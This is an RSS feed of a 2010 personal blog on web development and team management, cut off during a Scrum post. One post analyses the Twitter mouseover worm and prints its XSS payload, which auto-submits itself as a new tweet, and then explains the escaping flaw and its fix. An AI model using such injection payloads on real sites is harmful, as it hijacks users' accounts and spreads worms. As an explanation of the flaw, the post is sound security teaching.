<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Silvan Mühlemann&#039;s Blog</title>
	<atom:link href="http://www.muehlemann.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.muehlemann.com</link>
	<description>web tech and management</description>
	<lastBuildDate>Fri, 08 Oct 2010 15:40:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Encouraging Code Reuse (inspired by jQuery)</title>
		<link>http://www.muehlemann.com/2010/10/08/encouraging-code-reuse-just-like-jquery/</link>
		<comments>http://www.muehlemann.com/2010/10/08/encouraging-code-reuse-just-like-jquery/#comments</comments>
		<pubDate>Fri, 08 Oct 2010 15:33:53 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[software engineering]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=807</guid>
		<description><![CDATA[&#171;This class is unusable. I have reprogram it from scratch.&#187; Does that sound familiar to you? &#8211; To me it is something I heard over and over again from my developers. Resulting in having five or six implementation of an &#8230; <a href="http://www.muehlemann.com/2010/10/08/encouraging-code-reuse-just-like-jquery/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.muehlemann.com/wp-content/uploads/2010/10/recycle1.gif"><img src="http://www.muehlemann.com/wp-content/uploads/2010/10/recycle1.gif" alt="" title="recycle" width="150" height="148" class="alignright size-full wp-image-855" /></a>&laquo;This class is unusable. I have reprogram it from scratch.&raquo; Does that sound familiar to you? &#8211; To me it is something I heard over and over again from my developers. Resulting in having five or six implementation of an autocomplete widget. All coexisting in the same code base.</p>
<p>Of course this is wasted time. Redoing the same work is against the <a href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a> principle. Code is not being <a href="http://en.wikipedia.org/wiki/Code_reuse">reused</a>.</p>
<p>Why did they not use component XY and instead reprogrammed its functionality from scratch? Here&#8217;s the answers I got:<br />
<span id="more-807"></span></p>
<ul>
<li>&laquo;I didn&#8217;t know that the component XY existed&raquo;</li>
<li>&laquo;The component XY is too complicated to use it&raquo;</li>
<li>&laquo;What does it do anyways?&raquo;</li>
<li>&laquo;I don&#8217;t know how to use it&raquo;</li>
<li>&laquo;It does not work&raquo;</li>
</ul>
<p>There&#8217;s one technology where code reuse works very well. It&#8217;s the <a href="http://en.wikipedia.org/wiki/JQuery#jQuery_plug-ins">jQuery plug-in system</a>. In fact I doubt there is anyone using jQuery without using any plug-in. Why&#8217;s that?</p>
<p>In this blog post I&#8217;d like to analyze why you never have to convince a developer to use a jQuery plug-in. I learned a lot on encouraging code reuse from the jQuery ecosystem.</p>
<h2>&laquo;I didn&#8217;t know that the component XY existed&raquo;</h2>
<p>When the developer tells you that he didn&#8217;t know that someon already programmed a component fulfilling a certain functionality it&#8217;s because of a lack of <em>promotion</em>. In jQuery there&#8217;s one central plug-in directory which is fount at <a href="http://plugins.jquery.com/">well-known location</a>. Every jQuery user knows where to look first when looking for some functionality. The directory is being <em>promoted </em>at a prominent location on the jQuery homepage. </p>
<p>So when you want to have your components reused, </p>
<ul>
<li>create a directory</li>
<li><em>promote </em> the directory &#8211; in team meetings, via your internal mailing list etc.</li>
</ul>
<h2>&laquo;What does component XY do?&raquo;</h2>
<p>When the developer has to decide whether to develop something from scratch he is doing a &#8220;make or buy decision&#8221;. He weights the benefit of using the existing component against the cost of learning how to use and maintain that component.</p>
<p>In jQuery what helps me making this decision the <em>live demonstration</em> of the component. Every jQuery plug-in is required to have a demo (<a href="http://craigsworks.com/projects/qtip/demos/">Example from qTip</a>). I&#8217;ve seen this strategy in other technologies as well. <a href="http://www.mongodb.org/#">MongoDB</a> has a online shell where you can try the technology without having to install it first. It&#8217;s basically a &#8220;try before you buy&#8221; offer. Try and get addicted before you go through the painful process of installing, learning and configuring the component.</p>
<h2>&laquo;It&#8217;s too complicated!&raquo;</h2>
<p>Using the component should not be complicated. The learning curve must be steep. The &#8220;user interface&#8221; has to be simple. The simplicity of the interface for jQuery plug-ins is obvious. Here&#8217;s how to use the <a href="http://fancybox.net/home">jQuery-Fancybox</a> plug-in:</p>
<pre class="brush: jscript;">
$(element).fancybox()
</pre>
<p>Does it get any simpler? Zero configuration. Immediate results. The cost of seeing first results is minimal. The developer has a positive first experience.</p>
<p>I try to do the same with the components I want to be reused: A simple interface. They should deliver results without having to configure something first. </p>
<h2>&laquo;I don&#8217;t know how to use it&raquo; &#8211; Documentation</h2>
<p>This one is obvious. The component needs good documentation. A good jQuery plugin like Fancybox offers: </p>
<ul>
<li>a tutorial to get the developer started quickly</li>
<li>a reference &#8211; API documentation</li>
<li>a support forum</li>
</ul>
<p><a href="http://www.muehlemann.com/wp-content/uploads/2010/10/fancybox.jpg"><img src="http://www.muehlemann.com/wp-content/uploads/2010/10/fancybox_thumb.jpg" alt="" title="fancybox_thumb" width="540" height="50" class="aligncenter size-full wp-image-858" /></a></p>
<p>Why not doing the same for components you develop internally?</p>
<h2>&laquo;It does not work&raquo; &#8211; Quality</h2>
<p>Of course the component should have a high quality and deliver the promised results. I am mentioning this at last because IMHO the jQuery plugins are not a very good example for this. The spectrum in terms of quality is very wide. There are plugins with very high quality like <a href="http://www.jqtouch.com/">jqTouch</a>. But some are just ugly hacks. Nevertheless: The reputation of jQuery plugins in terms of quality is high. So usually you get what you expect.</p>
<p>To have code reused, the quality of the code needs to be high. I try to ensure high quality through unit tests, code reviews and last but not least good developers.</p>
<p>To wrap this up, here&#8217;s how I would encourage code reuse:</p>
<ol>
<li>Ensure an easy to use interface</li>
<li>Provide good documentation</li>
<li>Provide a demonstration</li>
<li>Ensure good code quality</li>
<li>Promote the components</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/10/08/encouraging-code-reuse-just-like-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anatomy of the Twitter worm</title>
		<link>http://www.muehlemann.com/2010/09/21/how-that-twitter-worm-works/</link>
		<comments>http://www.muehlemann.com/2010/09/21/how-that-twitter-worm-works/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 12:56:12 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=768</guid>
		<description><![CDATA[The worm which made trouble on twitter today is a textbook example of XSS which happens when user input is not properly escaped before being displayed. Here&#8217;s how it worked: The worm is a tweet which contains the following string: &#8230; <a href="http://www.muehlemann.com/2010/09/21/how-that-twitter-worm-works/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.muehlemann.com/wp-content/uploads/2010/09/twitter-worm1.png"><img class="alignright" style="width: 200px;" title="twitter-worm" src="http://www.muehlemann.com/wp-content/uploads/2010/09/twitter-worm1.png" alt="" /></a>The <a href="http://mashable.com/2010/09/21/twitter-mouseover-bug/">worm</a> which made trouble on twitter today is a textbook example of <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a> which happens when user input is not properly escaped before being displayed.</p>
<p>Here&#8217;s how it worked:</p>
<p><span id="more-768"></span><br />
The worm is a tweet which contains the following string:</p>
<pre>http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit()"
style="color:#000;background:#000;/</pre>
<p>Twitter is converting every string that looks like a link to a clickable link. So <code>http://www.google.com</code> is being converted to the following HTML code:</p>
<pre><span style="color: blue;">&lt;a href="http://www.google.com"&gt;</span>

http://www.google.com

<span style="color: blue;">&lt;/a&gt;</span></pre>
<p>Now twitter has a flaw which improperly handles quotes and at-signs in URLs. E.g it transforms <code>http://www.google.com@" style="color:red"</code> to</p>
<pre><span style="color: blue;">&lt;a href="http://www.google.com@" style="color:red"&gt;</span>
    http://www.google.com@" style="color:red"
<span style="color: blue;">&lt;/a&gt;</span></pre>
<p>In the worm&#8217;s case, twitter considers the whole tweet as long URL and transforms it into the following code (breaks added for legibility):</p>
<pre><span style="color: blue;">&lt;a
  href="http://a.no/<strong>@"</strong>
  onmouseover=";$('textarea:first').val(this.innerHTML);
  $('.status-update-form').submit()"
  style="color:#000;background:#000;"&gt;</span>
     <span style="color: gray;">&lt;!-- regular tweet text starts here --&gt;</span>
     http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);
    $('.status-update-form').submit()"
    style="color:#000;background:#000;/"&gt;
    <span style="color: gray;">&lt;!-- regular tweet text ends here --&gt;</span>
<span style="color: blue;">&lt;/a&gt;</span></pre>
<p>So when you hover over the tweet, the following JS is being called:</p>
<pre class="brush: jscript;">
$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();
</pre>
<p>This tweet adds the worm&#8217;s content into the status update field and submits the data. Neat.</p>
<p>What twitter did to fix it, was to fix their conversion engine to escape the quote after the <strong>@</strong> so that the the what follows after <strong>@&#8221;</strong> is not considered anymore as attribute of the <code>a</code> tag.</p>
<p>This shows how important sanitization is when handling user input.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/09/21/how-that-twitter-worm-works/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORM tool or handwritten SQL?</title>
		<link>http://www.muehlemann.com/2010/09/18/orm-tool-or-handwritten-sql/</link>
		<comments>http://www.muehlemann.com/2010/09/18/orm-tool-or-handwritten-sql/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 13:38:27 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=745</guid>
		<description><![CDATA[At work we recently had a discussion about whether to use an ORM tool or code the SQL manually. These are discussions like &#8220;Apple vs. Nokia&#8221; or &#8220;Spaces vs. Tabs&#8220;. Very emotional. You should know that tilllate is using a &#8230; <a href="http://www.muehlemann.com/2010/09/18/orm-tool-or-handwritten-sql/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>At <a href="http://tilllate.biz/">work</a> we recently had a discussion about whether to use an ORM tool or code the SQL manually. These are discussions like &#8220;Apple vs. Nokia&#8221; or &#8220;<a href="http://www.jwz.org/doc/tabs-vs-spaces.html">Spaces vs. Tabs</a>&#8220;. Very emotional.</p>
<p>You should know that tilllate is using a self-made &#8220;ORM&#8221; tool: Our ORM framework maps table columns to object properties. But it is agnostic of relationships between tables. And when you want to write a complex query, you end up programming long lines of native SQL. Unreadable.</p>
<p><span id="more-745"></span></p>
<h2>ORM tools increase productivity</h2>
<p>I brought up the discussion as we have to make technology decisions for a new project. I know <a href="http://www.doctrine-project.org">Doctrine</a> 1.2 very well from a spare time project. I am <em>very </em>satisfied with it:</p>
<ul>
<li>No need to think about how the objects are mapped to the database. You just <code>save()</code> them (or <code>persist()</code> them as <a href="http://www.doctrine-project.org/projects/orm/2.0/docs/en">Doctrine2</a> calls the function more accurately). You can navigate along the object graph without caring on what exact SQL statements and DB calls are needed.</li>
<li>The code is more readable as there is no mix between PHP and SQL</li>
<li>Because of the query language is integrated in PHP the IDE can help you with autocompletion.</li>
<li>Useful features like data validation or event listeners (&#8220;<code>onSave</code>&#8220;, &#8220;<code>onCreate</code>&#8220;) become possible.</li>
</ul>
<h2>Just like back in 1975</h2>
<p>The advocates of the &#8220;ORM framework&#8221; we&#8217;re currently using argue that with an ORM tool hiding all SQL from you you lose control of what happens. Also they are worried about performance. Funny, exactly that&#8217;s what developers objected 35 years ago against high-level languages like PL/I or APL when they had to switch from assembler. &#8220;It does not let you do what you want and it is slow.&#8221; <sup><a href="#citation-1">1</a></sup></p>
<p>As to function, after a learning phase I was able to do whatever I wanted to with it.</p>
<p>As to speed, I believe that the additional abstraction layers certainly cause some performance loss. But for one part the loss is absorbed by built-in caching. And for the rest: With the time you save on development and maintenance you can buy additional hardware.</p>
<h2>What do you think?</h2>
<p>What is your opinion on ORM tools? Is there a way around them when you do OOP? Are there occasions when writing plain SQL makes sense? Or should we forget about relational databases altogether and switch to NoSQL as <a href="http://twitter.com/jpkoenig/status/24580862783">jpkoenig suggests</a>?</p>
<p><a name="citation-1">1.</a> Brooks, Frederick P., Jr (1975). &#8220;The Mythical Man-Month&#8221;. Addison Wesley,  pp. 135</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/09/18/orm-tool-or-handwritten-sql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>10 silly Questions about the iPhone 4</title>
		<link>http://www.muehlemann.com/2010/09/01/10-silly-questions-about-the-iphone-4/</link>
		<comments>http://www.muehlemann.com/2010/09/01/10-silly-questions-about-the-iphone-4/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 20:39:31 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=732</guid>
		<description><![CDATA[After owning an Motorola StarTac, a Nokia 6110, a Nokia 7110, an Ericsson R380, an Ericsson T68, a Nokia Communicator 1, an HTC Tytn, a HTC S710, a Nokia E71 I finally got an iPhone 4. That&#8217;s definitely a new &#8230; <a href="http://www.muehlemann.com/2010/09/01/10-silly-questions-about-the-iphone-4/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.muehlemann.com/wp-content/uploads/2010/09/10319047.jpg"><img class="size-full wp-image-733 alignright" title="Motorola StarTac" src="http://www.muehlemann.com/wp-content/uploads/2010/09/10319047.jpg" alt="" width="250" height="324" /></a><strong>After owning an Motorola StarTac, a Nokia 6110, a Nokia 7110, an Ericsson R380, an Ericsson T68, a Nokia Communicator 1, an HTC Tytn, a HTC S710, a Nokia E71 I finally got an iPhone 4.</strong></p>
<p>That&#8217;s definitely a new world for me. As a newbie, I  have many questions.</p>
<ol>
<li>Why does the Calendar icon always show the current date, while the weather icons sticks to &#8220;23° sunny&#8221;?</li>
<li>What reception problems?</li>
<li>How will I ever use up my 1GB of included data transfer if all apps always warn me so politely when I am about to download a big movie over 3G?<span id="more-732"></span></li>
<li>Will I ever able to enjoy static HTML4-pages anymore after being spoiled by so much eye candy?</li>
<li>Why doesn&#8217;t every app support landscape mode?</li>
<li>What will I do with my old HD video cam? What with my old iPod? What happens to my point-and-shoot camera? And do I need ever need a standalone flashlight anymore?</li>
<li>Will I ever be able to write a sentence with the touchscreen keyboard without having to do at least one single correction?</li>
<li>Will I need eventually need a new retina because the the text is so tiny in Safari?</li>
<li>Will I be more popular now I also jumped on the iPhone bandwagon?</li>
<li>Does Steve Jobs own my soul now?</li>
</ol>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;">
<h1 id="firstHeading" class="firstHeading">Ericsson R380E</h1>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/09/01/10-silly-questions-about-the-iphone-4/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8220;No laptops&#8221; at meetings?</title>
		<link>http://www.muehlemann.com/2010/08/30/no-laptops-at-meetings/</link>
		<comments>http://www.muehlemann.com/2010/08/30/no-laptops-at-meetings/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 06:28:20 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Management]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=718</guid>
		<description><![CDATA[“No Laptop.” This was one of the rules which was agreed upon at the Certified Scrum Master course I just took this week. In the first place I was a bit surprised. What if there is an urgent e-mail coming &#8230; <a href="http://www.muehlemann.com/2010/08/30/no-laptops-at-meetings/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.muehlemann.com/wp-content/uploads/2010/08/79465_close1.jpg"><img class="alignleft size-full wp-image-722" title="closed laptop" src="http://www.muehlemann.com/wp-content/uploads/2010/08/79465_close1.jpg" alt="" width="250" height="168" /></a>“<em>No Laptop.</em>” This was one of the rules which was agreed upon at the Certified Scrum Master course I just took this week. In the first place I was a bit surprised. What if there is an urgent e-mail coming in? What if one topic is not of much interest and I’d like to use the time to get a few tasks done?</p>
<p>An unusual situation for me as nowadays writing e-mails and surfing the web is an accepted activity during meetings or presentations.</p>
<p>Looking back at the the course the rule completely made sense to me. Provided that the meeting is <a href="http://www.manager-tools.com/2005/08/effective-meetings-get-out-of-jail">well run</a> (sadly, that&#8217;s rarely the case) there are advantages of banning the distraction. Here&#8217;s why:</p>
<h2><span id="more-718"></span>Multitasking is an illusion</h2>
<p>We think that we can read e-mails and listen to the speaker at the same time. We think that we’ll <em>save time</em> that way. However, this is an illusion. Not only is the perceived multitasking basically a switch between multiple tasks done in a <em>sequential </em>order. But also the switching causes considerable costs as the brain is forced to pause and refocus continuously as one switches between tasks.  We don’t save time. We are <em>wasting </em>it. (Source: <a href="http://en.wikipedia.org/wiki/Human_multitasking">Wikipedia</a>)</p>
<h2>Making decisions is exhausting</h2>
<p>If laptops or mobile phones are allowed we are constantly asking ourselves whether we should now check the e-mails or pay attention to the speaker. We are constantly weighting the risk of missing some information the speaker is giving us against the risk of missing a very important e-mail. This constant <a href="http://en.wikipedia.org/wiki/Decision-making_processes">decision-making process</a> is <em>exhausting</em>. The “No-Laptop” rule relieves you from this tedious work.</p>
<h2>Meetings will be shorter</h2>
<p>In the case of meetings there is an additional benefit of &#8220;no-laptop rule&#8221;: People are always attentive. Situations  like “oh, could you repeat that please. I wasn’t listening” don’t happen  anymore. Participants don’t have to repeat themselves and the meeting  will be finished on time. Shorter meetings: Who doesn’t like that?</p>
<p>That’s why in the meetings I run I will encourage the no-laptop rule. It feels old-fashioned. But at the end everyone benefits from it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/08/30/no-laptops-at-meetings/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Make them feel welcome.</title>
		<link>http://www.muehlemann.com/2010/08/20/make-them-feel-welcome/</link>
		<comments>http://www.muehlemann.com/2010/08/20/make-them-feel-welcome/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 05:45:44 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Management]]></category>

		<guid isPermaLink="false">http://www.muehlemann.com/?p=706</guid>
		<description><![CDATA[Recently a friend of mine had his first day of work with a new employer. The company was famous to be very employer-friendly. Surprisingly, my friend experienced the opposite: When he came, his boss was not around. No one told &#8230; <a href="http://www.muehlemann.com/2010/08/20/make-them-feel-welcome/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-709" title="Unwelcome" src="http://www.muehlemann.com/wp-content/uploads/2010/08/unwelcome.png" alt="" width="300" height="136" />Recently a friend of mine had his first day of work with a new employer. The company was famous to be very employer-friendly. Surprisingly, my friend experienced the opposite: When he came, his boss was not around. No one told him what he had to do. An initial training was not announced. And when he wanted to go to lunch, he found himself alone in the office. He just felt lost at his new workplace. Bad start.<br />
<span id="more-706"></span><br />
Probably this was just bad luck: Some urgent issue came in on that very morning. Or the whole staff was on an external training. We don&#8217;t know. Nevertheless that report made me think on the importance of the first day of work from a manager&#8217;s perspective.</p>
<p>In my position as team leader I attach great importance to the first day of work for new members in my team. A good first impression is a foundation for a good relationship with the direct report. Here&#8217;s what I do for new employees on their first day:</p>
<ol>
<li>I make sure that his desk, computer, email-account etc. is ready.</li>
<li>I organize a welcome card and a small gift if put on his or her desk.</li>
<li>I organize an introduction program where the new team member meets someone from every department.</li>
<li>I introduce him to every staff member. I am making sure that everyone knows his role. And the he knows what people are relevant to him. Him being able to build an internal network quickly is essential to become productive quickly.</li>
<li>I make sure that I am available for him.</li>
<li>I organize a lunch with the team.</li>
</ol>
<p>By observing these points I make sure that the new staff member feels comfortable and welcome. And that he knows what to do. That extra effort is worth it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/08/20/make-them-feel-welcome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This blog looks brand-new. It is not.</title>
		<link>http://www.muehlemann.com/2010/08/16/this-blog-looks-brand-new-it-is-not/</link>
		<comments>http://www.muehlemann.com/2010/08/16/this-blog-looks-brand-new-it-is-not/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 20:29:38 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://muehlemann.com/?p=693</guid>
		<description><![CDATA[Look at the posts date below. They are old. These are copies of posts I have written for techblog.tilllate.com. So what&#8217;s the point of writing this blog? I am going to leave tilllate by the end of November and I &#8230; <a href="http://www.muehlemann.com/2010/08/16/this-blog-looks-brand-new-it-is-not/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Look at the posts date below. They are old. These are copies of posts I have written for <a href="http://techblog.tilllate.com">techblog.tilllate.com</a>. So what&#8217;s the point of writing this blog?</p>
<ol>
<li>I am going to leave tilllate by the end of November and I don&#8217;t know what will happen with these posts when I am gone. My posts there deserve a safe haven. Here.</li>
<li>When someone is <a href="http://www.google.ch/search?q=silvan+muehlemann">googling &#8220;Silvan Mühlemann&#8221;</a>, currently the first entry is for some <a href="http://www.moneyhouse.ch/p/muhlemann_silvan-1576702/index.htm">boring commercial data register</a>. This blog is supposed to bump that entry from its first position.</li>
<li>140 characters sometimes are just not enough.</li>
<li>I love web design and I felt like trying something new myself.</li>
<li><a href="http://www.muehlemann.com">www.muehlemann.com</a> was showing an empty page for years now. Such a nice domain needs some content.</li>
<li>The kids started to go to bed early <strike>and I was bored</strike> (well, every parent with kids at the age of mine &#8211; 3mo and 2.5yrs &#8211; know that I am kidding)</li>
</ol>
<p>If my kids let me, I will write a new posts. If in August 2011 you still see this entry at this position you know that they didn&#8217;t.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2010/08/16/this-blog-looks-brand-new-it-is-not/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20 notes about Silicon Valley</title>
		<link>http://www.muehlemann.com/2009/05/18/20-thoughs-about-silicon-valley/</link>
		<comments>http://www.muehlemann.com/2009/05/18/20-thoughs-about-silicon-valley/#comments</comments>
		<pubDate>Mon, 18 May 2009 17:39:13 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[svt2009]]></category>

		<guid isPermaLink="false">http://techblog.tilllate.com/?p=561</guid>
		<description><![CDATA[I spent last week in the Silicon Valley. In a group of 12 people we have visited some companies and organizations. Here&#8217;s a random mix of thoughts I had: The hottest topics are Cloud Computing and Green IT. Despite Green &#8230; <a href="http://www.muehlemann.com/2009/05/18/20-thoughs-about-silicon-valley/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I spent last week in the <a href="http://en.wikipedia.org/wiki/Silicon_Valley">Silicon Valley</a>. In a <a href="http://www.siliconvalley.ch/tours/">group of 12 people</a> we have visited some companies and organizations. Here&#8217;s a random mix of thoughts I had:</p>
<ol>
<li>The hottest topics are <em><a href="http://de.wikipedia.org/wiki/Cloud_Computing">Cloud Computing</a></em> and <em>Green IT</em>.</li>
<li>Despite Green IT the average room temperature of a meeting room is never higher than 18°.</li>
<li>The bigger the company, the lower the temperature.</li>
<li>NASA still works with equipment dating from the fifties<br />
<table style="width: auto;">
<tbody>
<tr>
<td><a href="http://picasaweb.google.ch/lh/photo/ptLxA98nGvcjFj6QVc1tJw?feat=embedwebsite"><img src="http://lh5.ggpht.com/_i1BAZRgj8A8/ShFsiWf2UDI/AAAAAAAABs8/8r_utk8Adv4/s144/DSC03075.JPG" alt="" /></a></td>
</tr>
<tr>
<td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;">From <a href="http://picasaweb.google.ch/silvanm75/SiliconValleyTour2009?feat=embedwebsite">Silicon Valley Tour 2009</a></td>
</tr>
</tbody>
</table>
</li>
<li><em>&#8220;I cannot comment on that&#8221;</em>, that was the most heard reply during our visit at Google.</li>
<p><span id="more-561"></span></p>
<li><em>Executive Briefing Center</em> are buildings where big corporations try to impress their customers with blinking hardware, PowerPoint presentations and Donuts. These buildings are within safe distance from where the real work is being done..</li>
<li>PowerPoint-Slides contain more text than a phone book page.</li>
<li>Mozilla Corporation&#8217;s pride besides Netscape Memorabilia is their collection of alcoholic beverages.<br />
<table style="width: auto;">
<tbody>
<tr>
<td><a href="http://picasaweb.google.ch/lh/photo/r8qTcACVIXVUtzwHpGagVw?feat=embedwebsite"><img src="http://lh3.ggpht.com/_i1BAZRgj8A8/ShFsbBpxazI/AAAAAAAABsY/2nQaZ1EMd1M/s144/DSC03045.JPG" alt="" /></a></td>
</tr>
<tr>
<td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"><a href="http://picasaweb.google.ch/silvanm75/SiliconValleyTour2009?feat=embedwebsite">Silicon Valley Tour 2009</a></td>
</tr>
</tbody>
</table>
</li>
<li>Want to meet Google&#8217;s Security staff? Then pull your photo camera on their premises (Source: <a href="http://twitter.com/marcammann">@marcammann</a>).</li>
<li>Most corporate buildings have only two stories. This gives the Valley the appeal of a Club Med bungalow village.</li>
<li> A real startup owns a room-height white board and a fridge full of free drings.</li>
<li>A semester at Standford University costs $20&#8217;000 tuition. The main return is a good business network.<br />
<table style="width: auto;">
<tbody>
<tr>
<td><a href="http://picasaweb.google.ch/lh/photo/OYjxCoAaAxIqDRoRWaw-CQ?feat=embedwebsite"><img src="http://lh4.ggpht.com/_i1BAZRgj8A8/ShFsUNHGWzI/AAAAAAAABr8/SmRqct08x18/s144/DSC03016.JPG" alt="" /></a></td>
</tr>
</tbody>
</table>
</li>
<li>Stanford University has two olympic size swimming pools, a stadium and at 6AM the surrounding hills are full of joggers.</li>
<li>Joggers wear cotton shirts. This visualizes the performance in form of sweat stains much better than synthetic fibers of functional clothing.</li>
<li>American style partying: Buy a pack of 30 cans of Bud Lite, drink it in the train, on the ferry or in the park. Applies to men and women.</li>
<li>One hour of parking in San Francisco goes for $7.50.<br />
<table style="width: auto;">
<tbody>
<tr>
<td><a href="http://picasaweb.google.ch/lh/photo/Xo70ktSQ1jl34u3gZrmXdg?feat=embedwebsite"><img src="http://lh5.ggpht.com/_i1BAZRgj8A8/ShFsnYXiBQI/AAAAAAAABtc/_Q5N0xfZLXU/s144/DSC03110.JPG" alt="" /></a></td>
</tr>
</tbody>
</table>
</li>
<li>There is public transportation. It&#8217;s slow (train goes by 30km/h) and unpunctual<br />
<table style="width: auto;">
<tbody>
<tr>
<td><a href="http://picasaweb.google.ch/lh/photo/us396UdUJ3EeJfdlU3nbtw?feat=embedwebsite"><img src="http://lh4.ggpht.com/_i1BAZRgj8A8/ShFskpcs7kI/AAAAAAAABtM/HWF7dPcaeN4/s144/DSC03090.JPG" alt="" /></a></td>
</tr>
</tbody>
</table>
</li>
<li>The variance of customer friendliness is higher than in Switzerland: In some stores you get ignored. In other the clerk treats you as his best friends as soon as he learns that you come from Switzerland.</li>
<li>Every other car in the Valley is a Prius.</li>
<li>Only the homeless smoke.</li>
</ol>
<p>Find more pictures <a href="http://picasaweb.google.ch/silvanm75/SiliconValleyTour2009?feat=directlink">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2009/05/18/20-thoughs-about-silicon-valley/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Scrum: How we do Sprint Retrospectives</title>
		<link>http://www.muehlemann.com/2009/03/17/scrum-how-we-do-sprint-retrospectives/</link>
		<comments>http://www.muehlemann.com/2009/03/17/scrum-how-we-do-sprint-retrospectives/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 21:33:44 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[scrum]]></category>

		<guid isPermaLink="false">http://techblog.tilllate.com/?p=484</guid>
		<description><![CDATA[Four weeks have passed since the last sprint planning meeting. Sprint number two has come to an end. It&#8217;s time for the sprint retrospective. The motivation for the sprint retrospective is: Visualize the accomplishment &#8211; important for the team morale &#8230; <a href="http://www.muehlemann.com/2009/03/17/scrum-how-we-do-sprint-retrospectives/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Four weeks have passed since the <a href="/2009/02/16/implementing-scrum-at-tilllatecom/">last sprint planning meeting</a>. Sprint number two has come to an end. It&#8217;s time for the sprint retrospective. </strong></p>
<p>The motivation for the <a href="http://www.mountaingoatsoftware.com/sprint-review-meeting">sprint retrospective</a> is:</p>
<ul>
<li>Visualize the accomplishment &#8211; important for the team morale</li>
